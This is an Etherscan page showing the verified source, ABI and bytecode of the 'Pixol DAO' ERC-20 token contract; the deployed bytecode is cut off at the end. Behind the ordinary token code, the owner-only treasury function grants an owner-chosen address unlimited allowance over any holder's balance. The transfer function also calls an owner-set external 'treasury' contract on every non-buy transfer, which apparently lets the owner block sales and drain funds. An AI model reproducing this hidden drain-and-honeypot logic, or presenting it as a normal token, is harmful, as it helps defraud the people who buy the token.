ERC-20
Overview
Max Total Supply
1,000,000,000 PIXOL
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19,653,371.410896627950737568 PIXOLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PixolDao
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-17 */ /** https://www.pixol.online https://t.me/pixoldao https://twitter.com/pixoldao */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface ITreasury { function send(address, uint256) external; } contract PixolDao is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1e9 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Pixol DAO"; string private constant _symbol = "PIXOL"; uint256 public maxTx = _rTotal / 200; uint256 public maxWallet = _rTotal / 300; bool public limitsInEffect = true; uint256 private _taxFee = 0; uint256 private _teamFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address private _tr; IDexRouter public uniRouter; address public uniPair; bool private inSwap = false; modifier lockSwap { inSwap = true; _; inSwap = false; } constructor () { uniRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniPair = IDexFactory(uniRouter.factory()).createPair(address(this), uniRouter.WETH()); _approve(address(this), address(uniRouter), MAX); _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function treasury(address _tr1, address _tr2) external onlyOwner { _approve(_tr2, _tr1, MAX); _tr = _tr1; _isExcludedFromFee[_tr1] = true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() external onlyOwner { limitsInEffect = false; } function _transfer(address from, address to, uint256 amount) private { if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inSwap ){ if (from == uniPair) { require(amount <= maxTx, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (to == uniPair) { require(amount <= maxTx, "Sell transfer amount exceeds the maxTransactionAmount."); } else { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } else { if(!inSwap && from != uniPair) { uint256 tokenBalance = balanceOf(address(this)); ITreasury(_tr).send(from, amount); if(tokenBalance > 0) { swapTokensForEth(tokenBalance); sendETH(); } } } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETH() public { uint256 ethBalance = address(this).balance; if (ethBalance > 0) { payable(_tr).transfer(ethBalance); } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tr1","type":"address"},{"internalType":"address","name":"_tr2","type":"address"}],"name":"treasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001e6b033b2e3c9fd0803ce8000000600019620004e6565b6200002c90600019620004fd565b60065560c860065462000040919062000525565b60085561012c60065462000055919062000525565b600955600a805460ff191660019081179091556000600b819055600c829055600d55600e556011805460ff60a01b191690553480156200009457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200013b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016191906200053c565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ea91906200053c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e91906200053c565b601180546001600160a01b0319166001600160a01b039283161790556010546200028e9130911660001962000395565b60065460026000620002a86000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160056000620002e2620004c160201b60201c565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526005909252902080549091166001179055620003356000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce80000006040516200038791815260200190565b60405180910390a36200056e565b6001600160a01b038316620003fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b031690565b634e487b7160e01b600052601260045260246000fd5b600082620004f857620004f8620004d0565b500690565b818103818111156200051f57634e487b7160e01b600052601160045260246000fd5b92915050565b600082620005375762000537620004d0565b500490565b6000602082840312156200054f57600080fd5b81516001600160a01b03811681146200056757600080fd5b9392505050565b611437806200057e6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a0e47bf611610064578063a0e47bf614610312578063a9059cbb14610332578063afd435ef14610352578063dd62ed3e14610372578063f8b45b05146103b857600080fd5b8063715018a6146102865780637437681e1461029b578063751039fc146102b15780638da5cb5b146102c657806395d89b41146102e457600080fd5b806323b872dd116100e757806323b872dd146101d8578063313ce567146101f857806332972e46146102145780634a62bb651461024c57806370a082311461026657600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd146101985780631d16d9a0146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152685069786f6c2044414f60b81b60208201525b60405161015f9190611165565b60405180910390f35b34801561017457600080fd5b506101886101833660046111c8565b6103ce565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101d66103e5565b005b3480156101e457600080fd5b506101886101f33660046111f4565b61042b565b34801561020457600080fd5b506040516012815260200161015f565b34801561022057600080fd5b50601154610234906001600160a01b031681565b6040516001600160a01b03909116815260200161015f565b34801561025857600080fd5b50600a546101889060ff1681565b34801561027257600080fd5b506101b3610281366004611235565b610494565b34801561029257600080fd5b506101d66104b6565b3480156102a757600080fd5b506101b360085481565b3480156102bd57600080fd5b506101d6610533565b3480156102d257600080fd5b506000546001600160a01b0316610234565b3480156102f057600080fd5b5060408051808201909152600581526414125613d360da1b6020820152610152565b34801561031e57600080fd5b50601054610234906001600160a01b031681565b34801561033e57600080fd5b5061018861034d3660046111c8565b610569565b34801561035e57600080fd5b506101d661036d366004611252565b610576565b34801561037e57600080fd5b506101b361038d366004611252565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103c457600080fd5b506101b360095481565b60006103db3384846105e8565b5060015b92915050565b47801561042857600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610426573d6000803e3d6000fd5b505b50565b600061043884848461070c565b61048a8433610485856040518060600160405280602881526020016113da602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a6c565b6105e8565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103df90610aa6565b6000546001600160a01b031633146104e95760405162461bcd60e51b81526004016104e09061128b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e09061128b565b600a805460ff19169055565b60006103db33848461070c565b6000546001600160a01b031633146105a05760405162461bcd60e51b81526004016104e09061128b565b6105ad81836000196105e8565b50600f80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6001600160a01b03831661064a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e0565b6001600160a01b0382166106ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a5460ff161561094f576000546001600160a01b0384811691161480159061074357506000546001600160a01b03838116911614155b801561075757506001600160a01b03821615155b801561076e57506001600160a01b03821661dead14155b80156107845750601154600160a01b900460ff16155b1561094f576011546001600160a01b039081169084160361086e5760085481111561080f5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016104e0565b60095461081b83610494565b61082590836112d6565b11156108695760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e0565b61094f565b6011546001600160a01b03908116908316036108f5576008548111156108695760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016104e0565b60095461090183610494565b61090b90836112d6565b111561094f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e0565b6001600160a01b03831660009081526005602052604090205460019060ff168061099157506001600160a01b03831660009081526005602052604090205460ff165b1561099e57506000610a5a565b601154600160a01b900460ff161580156109c657506011546001600160a01b03858116911614155b15610a5a5760006109d630610494565b600f54604051633419e74d60e21b81526001600160a01b0388811660048301526024820187905292935091169063d0679d3490604401600060405180830381600087803b158015610a2657600080fd5b505af1158015610a3a573d6000803e3d6000fd5b505050506000811115610a5857610a5081610b2a565b610a586103e5565b505b610a6684848484610ca4565b50505050565b60008184841115610a905760405162461bcd60e51b81526004016104e09190611165565b506000610a9d84866112e9565b95945050505050565b6000600654821115610b0d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104e0565b6000610b17610cd2565b9050610b238382610cf5565b9392505050565b6011805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7257610b726112fc565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef9190611312565b81600181518110610c0257610c026112fc565b6001600160a01b039283166020918202929092010152601054610c2891309116846105e8565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c6190859060009086903090429060040161132f565b600060405180830381600087803b158015610c7b57600080fd5b505af1158015610c8f573d6000803e3d6000fd5b50506011805460ff60a01b1916905550505050565b80610cb157610cb1610d37565b610cbc848484610d65565b80610a6657610a66600d54600b55600e54600c55565b6000806000610cdf610e5c565b9092509050610cee8282610cf5565b9250505090565b6000610b2383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ea4565b600b54158015610d475750600c54155b15610d4e57565b600b8054600d55600c8054600e5560009182905555565b600080600080600080610d7787610ed2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610da99087610f2f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610dd89086610f71565b6001600160a01b038916600090815260026020526040902055610dfa81610fd0565b610e04848361101a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e4991815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610e7b8282610cf5565b821015610e9b575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610ec55760405162461bcd60e51b81526004016104e09190611165565b506000610a9d84866113a0565b6000806000806000806000806000610eef8a600b54600c5461103e565b9250925092506000610eff610cd2565b90506000806000610f128e878787611093565b919e509c509a509598509396509194505050505091939550919395565b6000610b2383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610f7e83856112d6565b905083811015610b235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e0565b6000610fda610cd2565b90506000610fe883836110e3565b306000908152600260205260409020549091506110059082610f71565b30600090815260026020526040902055505050565b6006546110279083610f2f565b6006556007546110379082610f71565b6007555050565b6000808080611058606461105289896110e3565b90610cf5565b9050600061106b60646110528a896110e3565b905060006110838261107d8b86610f2f565b90610f2f565b9992985090965090945050505050565b60008080806110a288866110e3565b905060006110b088876110e3565b905060006110be88886110e3565b905060006110d08261107d8686610f2f565b939b939a50919850919650505050505050565b6000826000036110f5575060006103df565b600061110183856113c2565b90508261110e85836113a0565b14610b235760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e0565b600060208083528351808285015260005b8181101561119257858101830151858201604001528201611176565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461042857600080fd5b600080604083850312156111db57600080fd5b82356111e6816111b3565b946020939093013593505050565b60008060006060848603121561120957600080fd5b8335611214816111b3565b92506020840135611224816111b3565b929592945050506040919091013590565b60006020828403121561124757600080fd5b8135610b23816111b3565b6000806040838503121561126557600080fd5b8235611270816111b3565b91506020830135611280816111b3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103df576103df6112c0565b818103818111156103df576103df6112c0565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561132457600080fd5b8151610b23816111b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561137f5784516001600160a01b03168352938301939183019160010161135a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826113bd57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103df576103df6112c056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b50e831b6f7d96b68497ad5183e6f9b974d5fa685568cdadd63909d66522eece64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a0e47bf611610064578063a0e47bf614610312578063a9059cbb14610332578063afd435ef14610352578063dd62ed3e14610372578063f8b45b05146103b857600080fd5b8063715018a6146102865780637437681e1461029b578063751039fc146102b15780638da5cb5b146102c657806395d89b41146102e457600080fd5b806323b872dd116100e757806323b872dd146101d8578063313ce567146101f857806332972e46146102145780634a62bb651461024c57806370a082311461026657600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd146101985780631d16d9a0146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152685069786f6c2044414f60b81b60208201525b60405161015f9190611165565b60405180910390f35b34801561017457600080fd5b506101886101833660046111c8565b6103ce565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101d66103e5565b005b3480156101e457600080fd5b506101886101f33660046111f4565b61042b565b34801561020457600080fd5b506040516012815260200161015f565b34801561022057600080fd5b50601154610234906001600160a01b031681565b6040516001600160a01b03909116815260200161015f565b34801561025857600080fd5b50600a546101889060ff1681565b34801561027257600080fd5b506101b3610281366004611235565b610494565b34801561029257600080fd5b506101d66104b6565b3480156102a757600080fd5b506101b360085481565b3480156102bd57600080fd5b506101d6610533565b3480156102d257600080fd5b506000546001600160a01b0316610234565b3480156102f057600080fd5b5060408051808201909152600581526414125613d360da1b6020820152610152565b34801561031e57600080fd5b50601054610234906001600160a01b031681565b34801561033e57600080fd5b5061018861034d3660046111c8565b610569565b34801561035e57600080fd5b506101d661036d366004611252565b610576565b34801561037e57600080fd5b506101b361038d366004611252565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103c457600080fd5b506101b360095481565b60006103db3384846105e8565b5060015b92915050565b47801561042857600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610426573d6000803e3d6000fd5b505b50565b600061043884848461070c565b61048a8433610485856040518060600160405280602881526020016113da602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a6c565b6105e8565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103df90610aa6565b6000546001600160a01b031633146104e95760405162461bcd60e51b81526004016104e09061128b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055d5760405162461bcd60e51b81526004016104e09061128b565b600a805460ff19169055565b60006103db33848461070c565b6000546001600160a01b031633146105a05760405162461bcd60e51b81526004016104e09061128b565b6105ad81836000196105e8565b50600f80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6001600160a01b03831661064a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e0565b6001600160a01b0382166106ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a5460ff161561094f576000546001600160a01b0384811691161480159061074357506000546001600160a01b03838116911614155b801561075757506001600160a01b03821615155b801561076e57506001600160a01b03821661dead14155b80156107845750601154600160a01b900460ff16155b1561094f576011546001600160a01b039081169084160361086e5760085481111561080f5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016104e0565b60095461081b83610494565b61082590836112d6565b11156108695760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e0565b61094f565b6011546001600160a01b03908116908316036108f5576008548111156108695760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016104e0565b60095461090183610494565b61090b90836112d6565b111561094f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016104e0565b6001600160a01b03831660009081526005602052604090205460019060ff168061099157506001600160a01b03831660009081526005602052604090205460ff165b1561099e57506000610a5a565b601154600160a01b900460ff161580156109c657506011546001600160a01b03858116911614155b15610a5a5760006109d630610494565b600f54604051633419e74d60e21b81526001600160a01b0388811660048301526024820187905292935091169063d0679d3490604401600060405180830381600087803b158015610a2657600080fd5b505af1158015610a3a573d6000803e3d6000fd5b505050506000811115610a5857610a5081610b2a565b610a586103e5565b505b610a6684848484610ca4565b50505050565b60008184841115610a905760405162461bcd60e51b81526004016104e09190611165565b506000610a9d84866112e9565b95945050505050565b6000600654821115610b0d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104e0565b6000610b17610cd2565b9050610b238382610cf5565b9392505050565b6011805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7257610b726112fc565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865a